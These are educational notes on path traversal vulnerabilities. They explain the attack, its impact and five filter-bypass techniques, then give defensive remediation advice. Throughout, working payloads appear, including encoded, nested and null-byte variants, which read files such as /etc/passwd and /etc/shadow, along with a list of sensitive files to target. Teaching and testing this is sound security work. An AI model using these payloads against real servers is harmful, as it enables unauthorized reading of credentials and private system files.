

# Path traversal Vulnerability Notes

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## Introduction

**Path traversal** (also known as directory traversal) is a web security vulnerability that allows attackers to read arbitrary files on the server running the application. This vulnerability enables unauthorized access to files outside the web root directory, potentially exposing:

- **Application code and data**
- **Credentials for back-end systems**
- **Sensitive operating system files**
- **Configuration files and environment variables**

In more severe cases, attackers may also be able to **write to arbitrary files** on the server, allowing them to modify application data, alter system behavior, and ultimately gain full control of the server.

## Path Traversal Vulnerability Happen When

- **Unvalidated user input** is directly used in file system operations
- **Improper sanitization** of user-supplied file paths
- **Absence of input validation** for directory traversal sequences
- **Weak server configurations** that don't restrict file access
- **Insufficient access controls** on file retrieval functions

## Path Traversal Vulnerability Happen Where

- **File download functionality** where users can request files
- **Image/File upload features** with improper path handling
- **Template inclusion mechanisms** in web applications
- **Static file servers** serving user-requested resources
- **API endpoints** that retrieve or serve files
- **Configuration management interfaces**
- **Backup and log viewing functionality**
- **Any parameter that accepts file paths or names:**
  - URL parameters: `?file=document.pdf`
  - Form fields in file uploads
  - HTTP headers in file requests
  - Cookie values containing path information

# Impact of Path Traversal Vulnerability

- **Information Disclosure:**
  - Exposure of application source code
  - Leakage of database credentials and configuration
  - Access to sensitive user data
  - Disclosure of system files (/etc/passwd, /etc/shadow)
- **System Compromise:**
  - Reading SSH keys and certificates
  - Access to system logs and audit trails
  - Exposure of environment variables and API keys
- **Privilege Escalation:**
  - Reading password files for brute force attacks
  - Access to configuration files with elevated privileges
  - Modification of critical system or application files
- **Complete Server Takeover:**
  - In write-scenarios: uploading web shells
  - Modifying system configuration files
  - Creating backdoor access mechanisms
  - Compromising the entire server infrastructure
- **Business Impact:**
  - Data breaches and regulatory fines
  - Reputational damage and loss of trust
  - Service disruption and downtime
  - Financial losses and legal consequences

## Reading Arbitrary Files via Path Traversal

### Basic Attack Scenario

- **Vulnerable Application:** Shopping site with image loading functionality
- **HTML Code:** ``
- **Server Logic:** Appends filename to base directory `/var/www/images/`
- **File Path Constructed:** `/var/www/images/218.png`

### Path Traversal Exploitation

- **Attack URL:**

```
https://insecure-website.com/loadImage?filename=../../../../etc/passwd
```

- **Resulting File Path:**

```
/var/www/images/../../../../etc/passwd
```

- **Directory Traversal Logic:**
  - `../` steps up one directory level
  - `/var/www/images/..` → `/var/www/`
  - `/var/www/..` → `/var/`
  - `/var/..` → `/` (filesystem root)
  - Final path: `/etc/passwd`

## Operating System Specific Sequences

- **Unix/Linux Systems:**

```
../../../../etc/passwd
../../../../etc/shadow
../var/log/auth.log
```

- **Windows Systems:**

```
..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts
..\..\..\boot.ini
```

## Common Target Files

- **Linux/Unix:**

- /etc/passwd - User account information
- /etc/shadow - Encrypted passwords
- /etc/hosts - Static hostnames
- /proc/version - Kernel version
- /.ssh/id\_rsa - SSH private keys
- /var/log/ - System logs

- **Windows:**

- C:\windows\win.ini - System configuration
- C:\windows\system32\drivers\etc\hosts - Hosts file
- C:\boot.ini - Boot configuration
- C:\windows\system.ini - System settings

## Bypass defenses against path traversal attacks

If an application strips or blocks directory traversal sequences from the user-supplied filename, it might be possible to bypass the defense using a variety of techniques.

### 1. Absolute Path Bypass

**Core Concept:** The application only blocks relative path sequences (../) but doesn't check for absolute paths starting from the filesystem root.

**How It Works:**

Normal Request: /loadImage?filename=image.png  
Server Path: /var/www/images/image.png

Blocked Attack: /loadImage?filename=../../../../etc/passwd  
(Application detects and blocks '../')

Working Attack: /loadImage?filename=/etc/passwd  
(Application allows it because no '../' found)

Server Path: /var/www/images//etc/passwd  
Final Access: /etc/passwd (due to path normalization)

**Why It Works:**

- Application only looks for and blocks ../ sequences
- Absolute paths like /etc/passwd don't contain blocked patterns

## 2. Nested Traversal Sequences Bypass - The Double-Stripping Method

**Core Concept:** The application has a naive filter that simply removes every instance of `../` it finds in your input.

**How It Works:**

```
Your Input:      ....//....//....//etc/passwd
Filter Action:    Removes each inner '../' found
Step 1:          ....// -> removes '../' -> becomes ../
Step 2:          ....// -> removes '../' -> becomes ../
Step 3:          ....// -> removes '../' -> becomes ../
Final Result:    ../../../etc/passwd
```

**Common Nested Sequences:**

- `....//` → Becomes `../` after filtering
- `....\` → Becomes `..\` (Windows paths)

**Key Insight:** You're "over-encoding" the traversal sequence so the filter inadvertently decodes it back to the malicious payload it was trying to block.

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## 3. URL Encoding Bypass

**Core Concept:** Web servers or filters might strip plain traversal sequences, but miss URL-encoded versions that get decoded later in the process.

**How It Works:**

```
Normal Blocked:  ../../../etc/passwd
URL Encoded:     %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
Double Encoded:  %252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
```

Server Process:

1. Receives: `%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd`
2. URL Decodes: `../../../etc/passwd`
3. Application uses decoded path

**Common Encoding Techniques:**

- `%2e%2e%2f` → URL encoded `../`
- `%252e%252e%252f` → Double URL encoded `../`
- `..%c0%af` → Unicode/overlong encoding
- `..%ef%bc%8f` → Full-width slash encoding

**Burp Suite Tip:** Use Burp Intruder's predefined payload list "Fuzzing - path traversal" for automated testing of encoded sequences.

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## 4. Expected Base Folder Bypass

**Core Concept:** App checks if filename starts with correct folder like `/var/www/images`, but doesn't check what comes after.

**Simple Explanation:**

```
App expects:    /var/www/images/photo.png
You provide:     /var/www/images/../../../etc/passwd
```

```
App thinks:     "Starts with /var/www/images/ - ALLOWED"
Result:         /var/www/images/../../../etc/passwd
Final access:   /etc/passwd
```

### Why It Works:

- App only validates the beginning of the path
- Traversal sequences after the valid prefix still work
- Path normalization processes the ../ normally

**Key Insight:** The application only checks the beginning of your input but doesn't validate the entire path, allowing you to "escape" from the allowed directory using traversal sequences after the valid prefix.

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## 5. File Extension Bypass with Null Byte

**Core Concept:** App requires filename to end with specific extension like .png, but null byte %00 terminates the string early.

### Simple Explanation:

```
App expects:  example.png
You provide:  ../../../../etc/passwd%00.png

App thinks:   "Ends with .png - ALLOWED"
System reads: ../../../../etc/passwd (null byte stops here)
Final access: /etc/passwd
```

### Why It Works:

- Null byte (%00) tells system to stop reading
- App sees .png extension and allows request
- System ignores everything after null byte
- Traversal sequences work normally before null byte

### Important Note:

- Works on older PHP versions (before 5.3.4)
  - Modern systems often block null byte injection
  - Still worth trying as a bypass technique
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## Testing Methodology

### Manual Testing Steps

#### 1. Identify File Parameters

- Look for parameters like: file, filename, path, document, image
- Check URL parameters, POST data, cookies, and headers
- Common endpoints: /download, /view, /loadImage, /getFile

#### 2. Basic Traversal Testing

```
?file=../../../../etc/passwd
?filename=../../windows/win.ini
?document=/etc/passwd
```

#### 3. Encoding Bypass Testing

```
?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
?file=%252e%252e%252f%252e%252e%252fetc/passwd
?file=../../c0%af..c0%af..c0%afetc/passwd
```

#### 4. Filter Bypass Testing

```
?file=....//....//....//etc/passwd  
?file=..\..\..\..\..\etc/passwd  
?file=../../../../etc/passwd%00.png
```

#### 5. Base Folder Bypass Testing

```
?file=/var/www/images/../../../../etc/passwd  
?file=expected_folder/../../../../etc/passwd
```

### Automated Testing with Burp Suite

- Use Burp Intruder with "Fuzzing - path traversal" payload list
- Test multiple encoding types simultaneously
- Monitor for different response lengths/sizes
- Look for success responses (200) vs errors (404/403)

### Common Files to Target

- **Linux:** /etc/passwd, /etc/shadow, /proc/version, /etc/hosts
- **Windows:** /windows/win.ini, /boot.ini, /windows/system.ini
- **Application:** config.php, .env, web.config, application.properties

### Response Analysis

- **Success:** File contents in response, different response size
- **Partial Success:** Error messages revealing path information
- **Blocked:** Generic error pages, 403 Forbidden responses
- **Not Found:** 404 errors indicating invalid path

### Advanced Techniques

- Test with and without trailing slashes
- Try different number of traversal sequences (../, ../../, etc.)
- Combine multiple bypass techniques
- Test in different contexts (URL, POST, headers)

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## Remediation and Prevention

### Primary Defense: Avoid User Input in Filesystem APIs

- **Best Practice:** Avoid passing user-supplied input to filesystem APIs entirely
- **Alternative Approach:** Rewrite application functions to deliver same behavior safely
- **Example:** Use predefined file mappings instead of direct user input

## Two-Layer Defense Strategy

If user input must be used, implement both layers:

### Layer 1: Input Validation

- **Whitelist Approach** (Recommended): Compare user input with allowed values only
- **Content Validation**: If whitelist not possible, verify input contains only permitted characters (alphanumeric only)
- **Reject**: Any input containing special characters, path separators, or traversal sequences

### Layer 2: Path Canonicalization & Verification

- **Append to Base**: Add user input to predefined base directory
- **Canonicalize Path**: Use platform filesystem API to resolve path
- **Verify Base**: Confirm canonical path starts with expected base directory

## Java Implementation Example

```
File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
    // process file - SAFE
} else {
    // reject request - POTENTIAL ATTACK
}
```

## Additional Security Measures

- **Use Application-Level Access Controls**: Implement proper authentication and authorization
- **Secure Configuration**: Ensure web server doesn't serve sensitive directories
- **Regular Security Testing**: Include path traversal tests in security assessments
- **Input Sanitization**: Remove or encode special characters when displaying file paths

## Platform-Specific Recommendations

- **Java**: Use `getCanonicalPath()` and verify base directory
- **PHP**: Use `realpath()` and compare with base path
- **.NET**: Use `Path.GetFullPath()` and validate against base
- **Python**: Use `os.path.realpath()` with base verification